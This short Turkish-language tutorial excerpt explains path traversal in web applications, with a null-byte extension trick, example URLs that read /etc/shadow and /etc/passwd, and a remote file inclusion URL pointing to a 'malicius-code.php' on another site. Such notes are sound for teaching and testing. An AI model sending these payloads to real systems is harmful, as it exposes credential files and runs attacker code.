  1. Web Application

Path traversal

Birçok işletim sisteminde, dosya adını sonlandırmak için %00 null bayt enjekte edilebilir. Örneğin, aşağıdaki gibi bir parametre gönderebiliriz:

?file=secret.doc%00.pdf

Web uygulaması ".pdf" ile biten bir uzantı görür, işletim sistemi ".doc" ile biten bir dosya görür.

Örnek 1:

http://some_site.com.br/../../../../etc/shadow

http://some_site.com.br/get-files?file=/etc/passwd

Örnek 2:

http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php

Örnek 3:

Cookie için bir template'den veri çekiyor.
